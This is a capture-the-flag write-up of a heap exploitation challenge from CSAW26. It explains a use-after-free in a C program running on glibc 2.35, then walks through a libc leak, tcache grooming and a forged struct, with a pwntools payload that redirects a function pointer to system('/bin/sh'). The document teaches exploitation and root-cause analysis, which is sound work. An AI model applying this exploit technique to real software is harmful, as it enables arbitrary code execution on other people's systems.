$ / 4 min read/pwn

Saint Vespers and the Copper Choir

A struct with a name buffer sitting directly under a called function pointer. Overwrite what you write to, on glibc 2.35 with the hooks gone.

section
CSAW26
event
ctf.csaw.io ↗
category
pwn
status
● solved
provided
vespers, vespers.c, libc.so_3.6 (glibc 2.35), ld-2.35.so

The object

typedef struct chorister {
    char   name[0x38];                      // 0x00
    void (*sing)(struct chorister *self);   // 0x38  <- called as c->sing(c)
    char  *transcript;                      // 0x40
    size_t transcript_len;                  // 0x48
    int    active;                          // 0x50
} chorister_t;                              // sizeof 0x58 -> chunk 0x60

Vulnerability

op_retire() frees c->transcript and c, then writes c->active = 0 into the freed chunk, and never clears choir[idx]:

if (c->transcript) free(c->transcript);
free(c);
c->active = 0;          // UAF write

op_restore() sets c->active = 1 on that same freed object, so every other menu op now operates on a dangling chorister_t.

Critically, tcache only clobbers the first 0x10 bytes of a freed chunk (fd + key), so sing, transcript, transcript_len and active all survive intact.

Target

glibc 2.35, Full RELRO, PIE, NX, canary. Hooks were removed in 2.34, so there is no __free_hook — but none is needed: the program hands over an indirect call with a controlled argument, and name[] is at offset 0, so the argument is a pointer to attacker text.

Exploit

  1. Layout — recruit seat 0 with a 0x500 transcript and seat 1 as a guard, so the big transcript is not adjacent to the top chunk.
  2. Dangle — retire + restore seat 0. The 0x510 transcript is too big for tcache, so it lands in the unsorted bin with fd = bk = main_arena+96, and the object is dangling-but-active.
  3. Leak — op_recite(0) does write(1, c->transcript, c->transcript_len) on the freed buffer, dumping the arena pointer. main_arena+96 sits at libc+0x21ace0 in this build.
  4. Groom — retire seat 1 so tcache[0x60] = [C1, C0].
  5. Reclaim — recruit seat 2 with a 0x58 transcript. The chorister malloc pops C1; the transcript malloc pops C0, the dangling choir[0], and read_exact writes 0x58 raw attacker bytes straight over the struct:
forged  = b"/bin/sh\x00".ljust(0x38, b"\x00")   # name[] — also the argument
forged += p64(libc.sym.system)                  # sing
forged += p64(0) + p64(0) + p32(1)              # transcript, len, active
recruit(b"C", 0, 0x58, forged.ljust(0x58, b"\x00"))
  1. Fire — op_perform() iterates active choristers and calls choir[0]->sing(choir[0]) → system("/bin/sh").

Gotchas

  • main_arena is stripped from the shipped libc. Calibrate the offset empirically against /proc/<pid>/maps rather than guessing.
  • setvbuf(stdout, _IOFBF) means nothing is flushed before system() executes. Waiting on the “Performance begins” banner deadlocks forever — talk straight to the shell.
  • system begins with endbr64, so the binary’s IBT marking is not an obstacle.

Root cause

A single missing assignment. Clearing choir[idx] on free closes every primitive. The active flag is a red herring as a guard — it lives inside the allocation it is supposed to protect.

Solver: ~/ctf/work/vespers/local/x.py

## challenge files

21 files · 3.0 MB
  • vespers
  • vespers.c
  • libc.so_3.6
  • ld-2.35.so
  • solve/
download .zip

flags redacted; flag images and local flag.txt files removed